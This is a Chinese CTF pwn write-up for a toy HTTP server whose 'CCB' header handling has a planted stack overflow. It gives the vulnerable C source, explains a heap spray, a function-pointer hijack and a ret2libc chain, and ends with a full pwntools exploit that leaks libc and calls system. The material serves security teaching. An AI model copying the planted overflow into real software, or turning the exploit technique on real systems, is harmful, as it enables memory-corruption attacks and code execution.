Skip to content

content

源码

c
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <errno.h>
#include <unistd.h>
typedef enum {
    HTTP_POST = 1,
} http_method_t;

typedef struct http_request http_request_t;
typedef int (*route_handler_t)(const http_request_t *req);

typedef struct {
    const char *uri;
    route_handler_t handler;
} http_route_t;

typedef struct {
    const char *name;
    const char *value;
    size_t name_len;
    size_t value_len;
} http_header_t;

struct http_request {
    http_method_t method;
    const char *uri;
    size_t uri_len;

    http_header_t headers[0x10];
    size_t header_cnt;

    const char *body;
    size_t body_len;
    const char *xff; size_t xff_len;
    const char *ctype; size_t ctype_len;
    route_handler_t handler;
};

typedef struct {
    int status;
    const char *content_type;
    const char *body;
    size_t body_len;
} http_response_t;

void* last_chunk;

static void send_http_response(int status, const char* content_type, const char* body) {
    const char* status_text;
    switch(status) {
        case 200: status_text = "OK"; break;
        case 400: status_text = "Bad Request"; break;
        case 404: status_text = "Not Found"; break;
        case 500: status_text = "Internal Server Error"; break;
        default: status_text = "Unknown"; break;
    }

    int body_len = body ? strlen(body) : 0;
    printf("HTTP/1.1 %d %s\r\n", status, status_text);
    printf("Content-Type: %s\r\n", content_type);
    printf("Content-Length: %d\r\n\r\n", body_len);
    if (body) {
        printf("%s", body);
    }
}

static void send_200_ok(const char* body) {
    send_http_response(200, "text/plain", body);
}

static void send_400_bad_request(const char* message) {
    send_http_response(400, "text/plain", message ? message : "Bad Request");
}

static void send_404_not_found(const char* message) {
    send_http_response(404, "text/plain", message ? message : "Not Found");
}

static void send_500_internal_error(const char* message) {
    send_http_response(500, "text/plain", message ? message : "Internal Server Error");
}

static int h_add(const http_request_t *req) {
    int size = 0;
    char *chunk;
    char *length = strstr(req->body, "length=");
    char *data = strstr(req->body, "data=");
    if (!data||!length) {
        send_400_bad_request("Missing name param");
        return 0;
    }
    length += 7;
    data   += 5;
    size = atoi(length);
    if (size <= 0||size > 0x4000) {
        send_400_bad_request("Invalid length");
        return 0;
    }
    chunk = malloc(size);
    if (!chunk) {
        send_500_internal_error("Failed to allocate memory");
        return 0;
    }
    last_chunk = chunk;
    memcpy(chunk, data, size);
    send_200_ok("0_o");
    return 0;
}
static int h_free(const http_request_t *req) {
    free(last_chunk);
    last_chunk = NULL;
    send_200_ok("o_0");
    return 0;
}
typedef struct {
    void *ptr;
    size_t len;
} alloc_rec_t;

static alloc_rec_t g_allocs[0x10000];
static size_t g_alloc_cnt = 0;

static size_t parse_size_with_suffix(const char *s) {
    char *end = NULL;
    errno = 0;
    unsigned long long v = strtoull(s, &end, 10);
    if (errno != 0) return 0;
    size_t mul = 1;
    if (end && *end) {
        if (*end=='K'||*end=='k') mul = 1024ULL;
        else if (*end=='M'||*end=='m') mul = 1024ULL*1024ULL;
        else return 0; //No
        end++;
        if (*end) return 0;
    }
    if (v > 0x40000000 / mul) return 0x40000000;
    return (size_t)(v * mul);
}

static int h_alloc(const http_request_t *req) {
    const char *size_kv = strstr(req->body, "size=");
    if (!size_kv) {
        send_400_bad_request("Missing size param");
        return 0;
    }
    size_kv += 5;
    char size_buf[64] = {0};
    size_t i = 0;
    while (i < sizeof(size_buf)-1 && (size_kv[i] && size_kv[i] != '&' && size_kv[i] != '\r' && size_kv[i] != '\n')) {
        size_buf[i] = size_kv[i];
        i++;
    }
    size_buf[i] = '\0';

    size_t chunk_len = parse_size_with_suffix(size_buf);
    if (chunk_len == 0) {
        send_400_bad_request("Invalid size");
        return 0;
    }

    size_t count = 1;
    const char *count_kv = strstr(req->body, "count=");
    if (count_kv) {
        count_kv += 6;
        char cnt_buf[32] = {0};
        size_t j = 0;
        while (j < sizeof(cnt_buf)-1 && (count_kv[j] && count_kv[j] != '&' && count_kv[j] != '\r' && count_kv[j] != '\n')) {
            cnt_buf[j] = count_kv[j];
            j++;
        }
        cnt_buf[j] = '\0';
        unsigned long long c = strtoull(cnt_buf, NULL, 10);
        if (c == 0 || c > 1000000ULL) {
            send_400_bad_request("Invalid count");
            return 0;
        }
        count = (size_t)c;
    }

    if (g_alloc_cnt + count > sizeof(g_allocs)/sizeof(g_allocs[0])) {
        send_400_bad_request("Too many allocations");
        return 0;
    }

    size_t page = (size_t)sysconf(_SC_PAGESIZE);
    size_t success = 0;
    size_t total_bytes = 0;

    for (size_t n = 0; n < count; ++n) {
        void *p;
        p = malloc(chunk_len);
        if (!p) break;
        for (size_t off = 0; off < chunk_len; off += page) {
            ((volatile char*)p)[off] = 0;
        }
        ((volatile char*)p)[chunk_len - 1] = 0;

        g_allocs[g_alloc_cnt].ptr = p;
        g_allocs[g_alloc_cnt].len = chunk_len;
        g_alloc_cnt++;

        success++;
        total_bytes += chunk_len;
    }
    char msg[256];
    double mib = total_bytes / 1024.0 / 1024.0;
    snprintf(msg, sizeof(msg),
             "Allocated: %zu chunks, chunk_size=%zu bytes, total=%.2f MiB\n",
             success, chunk_len, mib);
    send_200_ok(msg);
    return 0;
}

void init(void)
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
	//alarm(700);
}

static const http_route_t ROUTES[] = {
    { "/add", h_add},
    { "/alloc", h_alloc},
    { "/free", h_free},
    //{ "/submit", h_submit },
};

static inline size_t routes_count(void) {
    return sizeof(ROUTES) / sizeof(ROUTES[0]);
}
static char* find_header_end(const char *buf, size_t len) {
    for (size_t i = 0; i + 3 < len; ++i) {
        if (buf[i] == '\r' && buf[i+1] == '\n' && buf[i+2] == '\r' && buf[i+3] == '\n')
            return buf + i + 4;
    }
    return NULL;
}
void find_handler(http_request_t *req)
{
    int cnt;
    cnt=routes_count();
    for (int i = 0; i <cnt ; ++i) {
        if (strncmp(req->uri, ROUTES[i].uri, strlen(ROUTES[i].uri)) == 0) {
            req->handler = ROUTES[i].handler;
        }
    }
}

static int parse_http_request(const char *buf, size_t len, http_request_t *req) {
    memset(req, 0, sizeof(http_request_t));

    if (len < 5 || strncmp(buf, "POST ", 5) != 0) return 0;
    req->method = HTTP_POST;

    const char *uri_start = buf + 5;
    const char *uri_end   = memchr(uri_start, ' ', (buf + len) - uri_start);
    if (!uri_end) return 0;

    req->uri     = uri_start;
    req->uri_len = (size_t)(uri_end - uri_start);

    const char *body_start = find_header_end(buf, len);
    if (!body_start) return 0;

    req->body = body_start;
    req->body_len = len - (size_t)(body_start - buf);

    req->header_cnt = 0;
    const char *p   = uri_end + 1;
    const char *hdr_end = body_start;

    const char *first_crlf = memchr(p, '\n', (size_t)(hdr_end - p));
    if (!first_crlf) return 0;
    p = first_crlf + 1;

    while (p < hdr_end) {
        const char *nl = memchr(p, '\n', (size_t)(hdr_end - p));
        if (!nl) break;

        const char *line = p;
        const char *line_end = nl;

        if (line == hdr_end || (line_end == line + 1 && line[0] == '\r')) {
            p = nl + 1;
            continue;
        }

        // name:value
        const char *colon = memchr(line, ':', (size_t)(line_end - line));
        if (!colon) { p = nl + 1; continue; }

        const char *name = line;
        const char *name_end = colon;
        while (name < name_end && (*name == ' ' || *name == '\t')) name++;
        while (name_end > name && (name_end[-1] == ' ' || name_end[-1] == '\t')) name_end--;

        const char *val = colon + 1;
        while (val < line_end && (*val == ' ' || *val == '\t')) val++;
        const char *val_end = line_end;
        if (val_end > val && val_end[-1] == '\r') val_end--;
        while (val_end > val && (val_end[-1] == ' ' || val_end[-1] == '\t')) val_end--;

        size_t nlen = (size_t)(name_end - name);
        size_t vlen = (size_t)(val_end  - val);

        // max32
        if (nlen && req->header_cnt < sizeof(req->headers)/sizeof(req->headers[0])) {
            http_header_t *h = &req->headers[req->header_cnt++];
            h->name = name; h->name_len = nlen;
            h->value = val; h->value_len = vlen;
        }

        if (nlen == 3 && strncasecmp(name, "CCB", 3) == 0) {
            req->xff = val;
            req->xff_len = vlen;
            size_t sz = strspn(val, "01\x0a");
            char buff50[50];
            memcpy(buff50, val,sz);
            (void)buff50;
        }
        p = nl + 1;
    }

    return 1;
}

static size_t parse_cl_from_header(const char *buf, size_t header_len) {
    const char *p = buf, *end = buf + header_len;
    while (p + 15 <= end) {
        if ((p[0]=='C'||p[0]=='c') && strncasecmp(p, "Content-Length:", 15) == 0) {
            const char *q = p + 15;
            while (q < end && (*q==' ' || *q=='\t')) q++;
            size_t v = 0; int ok = 0;
            while (q < end && *q >= '0' && *q <= '9') { ok = 1; v = v*10 + (size_t)(*q - '0'); q++; }
            return ok ? v : 0;
        }
        const char *nl = memchr(p, '\n', (size_t)(end - p));
        if (!nl) break;
        p = nl + 1;
    }
    return 0;
}

int main(void)
{
    init();

    #define BUF_CAP  (64*1024)
    static char buf[BUF_CAP + 1];
    size_t used = 0;

    http_request_t req;
    puts("welcome!");
    for (;;) {
        ssize_t n = read(STDIN_FILENO, buf + used, BUF_CAP - used);
        if (n > 0) {
            used += (size_t)n;
            buf[used] = '\0';
        } else if (n == 0) {
            usleep(1000);
        } else { // n < 0
            if (errno == EINTR) continue;
            usleep(1000);
        }
        for (;;) {
            if (used < 4) break;

            //\r\n\r\n)
            char *hdr_end = find_header_end(buf, used);
            if (!hdr_end) {
                if (used == BUF_CAP) {
                    char *last_nl = memchr(buf, '\n', used);
                    if (last_nl) {
                        size_t drop = (size_t)(last_nl - buf + 1);
                        memmove(buf, buf + drop, used - drop);
                        used -= drop;
                    } else {
                        used = 0;
                    }
                }
                break;
            }

            size_t header_bytes = (size_t)(hdr_end - buf);
            size_t content_len = parse_cl_from_header(buf, header_bytes);
            size_t need_total  = header_bytes + content_len;
            if (used < need_total) {
                if (used == BUF_CAP) {
                    send_400_bad_request("Request too large or incomplete");
                    size_t remain = used - header_bytes;
                    if (remain) memmove(buf, buf + header_bytes, remain);
                    used = remain;
                }
                break;
            }
            if (!parse_http_request(buf, need_total, &req)) {
                send_400_bad_request("Bad Request");
            }
            find_handler(&req);
            if (req.handler) {
                req.handler(&req);
            }else {
                send_404_not_found("Not Found");
            }

            size_t extra = used - need_total;
            if (extra) memmove(buf, buf + need_total, extra);
            used = extra;
        }
    }

    return 0;
}

题解

通过对程序的逆向可以发现是一个httpd,用http格式就能进行交互

路由在这里

HTTP 路由入口

路由处理函数

提供了三个功能,malloc一个小于0x4000的堆块,连续申请堆块和释放最后一个add的堆块

通过函数指针进行调用,这个函数指针在main函数栈上

漏洞点在CCB请求头的处理中

CCB 请求头漏洞点

strspn检测了01\n字符集,进行溢出

也就是 0x30 0x31 0xa的溢出

在正常情况下这三个字符构成的地址为非法地址,但是通过大量堆的分配可以将其变为合法地址,而且这个题的堆是可以预测状态的

所以进行大量的add请求将其填充至0xa303030

堆地址布局调试

这里的内容也是可控的,直接写就可以

可控堆内容

最后控制了函数指针,leave ret把栈放到堆上面,然后就是ret2libc就可以了

劫持函数指针

EXP

python
from pwn import*
from tqdm import trange
context.update(arch='arm', os='linux')
context.terminal=['qterminal','-e']
libc=ELF('./libc.so.6')

debug=1
def con():
    if debug:
        p = process('./chal')
    else:
        p = remote()
    return p

def add(body,size):
    send_body = b"length="+str(size).encode()
    send_body += b"data="+body
    payload  = b"POST /add HTTP/1.1\r\n"
    payload += b"Host: 127.0.0.1\r\n"
    payload += b"Content-Length: " + str(len(send_body)).encode() + b"\r\n"
    payload += b"\r\n"
    payload += send_body
    p.send(payload)

def delete():
    payload  = b"POST /free HTTP/1.1\r\n"
    payload += b"Host: 127.0.0.1\r\n"
    payload += b"Content-Length: 0\r\n"
    payload += b"\r\n"
    p.send(payload)

def alloc(size,count=1):
    send_body = b"count="+str(count).encode()
    send_body += b"size="+size.encode()
    payload  = b"POST /alloc HTTP/1.1\r\n"
    payload += b"Host: 127.0.0.1\r\n"
    payload += b"Content-Length: " + str(len(send_body)).encode() + b"\r\n"
    payload += b"\r\n"
    payload += send_body
    p.send(payload)

def attack():
    send_body = b"ishmael"
    payload  = b"POST / HTTP/1.1\r\n"
    payload += b"Host: 127.0.0.1\r\n"
    payload += b"Content-Length: " + str(len(send_body)).encode() + b"\r\n"
    payload += b"CCB: "
    payload += b"0"*0x85+b'\x0a'
    payload += b"\r\n\r\n"
    payload += send_body
    p.send(payload)

p=con()
add(b'this',0xe68)
payload=b''
payload=payload.ljust(0x34-0x10,b'0')
payload+=p32(0x80490D0)
payload+=p32(0x0804901e)
payload+=p32(0x804D008)
payload+=p32(0x8049050)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0xa303030)
payload+=p32(0x100)
payload=payload.ljust(0xed8-0x10,b'0')
payload+=p32(0xa303030)
payload=payload.ljust(0xffc-0x10,b'0')
payload+=p32(0x80495B1)
spry=flat({
    0:payload,
    0x1000:payload,
    0x2000:payload,
    0x3000:payload,
})
for i in trange(0x900, desc='Exploit progress', unit='iter', dynamic_ncols=True):
    add(spry,0x4000-8)
    p.recvuntil('0_o')
p.clean()
attack()
libc.address=u32(p.recvuntil(b'\xf7',timeout=2)[-4:])-libc.symbols['read']
log.success('libc base: '+hex(libc.address))
payload=b'0'*0x14+p32(libc.symbols['system'])+p32(0)+p32(libc.address+0xf7f2ee3c-0xf7d65000)
sleep(0.1)
p.sendline(payload)
p.interactive()